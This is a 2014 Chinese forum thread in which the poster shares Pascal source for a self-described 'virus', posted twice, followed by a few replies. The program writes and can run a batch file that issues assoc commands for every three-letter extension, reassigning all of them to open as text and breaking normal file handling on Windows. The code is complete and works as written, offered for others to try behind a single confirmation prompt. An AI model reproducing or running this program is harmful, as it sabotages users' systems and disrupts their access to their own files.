level 12
自己留一楼
2014年01月04日 10点01分
level 12
🔥贽殿丶遮那🔥
楼主
此病毒思路来自bat的后缀文件关联。
作用是使你所有的三位后缀，如.doc、.jpg等默认打开方式改变为txt。。（注：很麻烦的东西，慎用！！）
此病毒By zty61211，但运行后有提示，所以一切责任与zty61211无关！！
源码：
Program Die;
Uses Dos,Crt;
Var DieFile:Text;
a,b,c:Char;
x:String;
Begin
Clrscr;
Assign(DieFile,'Die.bat');
Rewrite(DieFile);
Writeln(DieFile,'@echo off');
For a:='a' To 'z' Do
For b:='a' To 'z' Do
For c:='a' To 'z' Do
Begin
x:='assoc .'+a+b+c+'=txtfile';
Writeln(DieFile,x);
End;
Close(DieFile);
Writeln('DIE bat file APPEARED');
Writeln('Do you want to RUN it?(Yes:Y) (!!DANGER!!)');
Readln(x);
If (x='Y') or (x='y') Then
Begin
Clrscr;
Writeln('Have a good TIME!!!');
Delay(2000);
Exec('Die.bat','');
End;
Halt;
End.
2014年01月04日 11点01分
3
作用是使你所有的三位后缀，如.doc、.jpg等默认打开方式改变为txt。。（注：很麻烦的东西，慎用！！）
此病毒By zty61211，但运行后有提示，所以一切责任与zty61211无关！！
源码：
Program Die;
Uses Dos,Crt;
Var DieFile:Text;
a,b,c:Char;
x:String;
Begin
Clrscr;
Assign(DieFile,'Die.bat');
Rewrite(DieFile);
Writeln(DieFile,'@echo off');
For a:='a' To 'z' Do
For b:='a' To 'z' Do
For c:='a' To 'z' Do
Begin
x:='assoc .'+a+b+c+'=txtfile';
Writeln(DieFile,x);
End;
Close(DieFile);
Writeln('DIE bat file APPEARED');
Writeln('Do you want to RUN it?(Yes:Y) (!!DANGER!!)');
Readln(x);
If (x='Y') or (x='y') Then
Begin
Clrscr;
Writeln('Have a good TIME!!!');
Delay(2000);
Exec('Die.bat','');
End;
Halt;
End.
level 13
level 3
我貌似明白了为什么没人回帖。。。。。。（还好我们学校电脑有还原精灵）
2014年01月16日 11点01分
8
level 12
这个只能算是恶意程序吧 病毒的基本要求都没。。。
不过我是新手 依旧要学习
2014年01月16日 12点01分
9
不过我是新手 依旧要学习
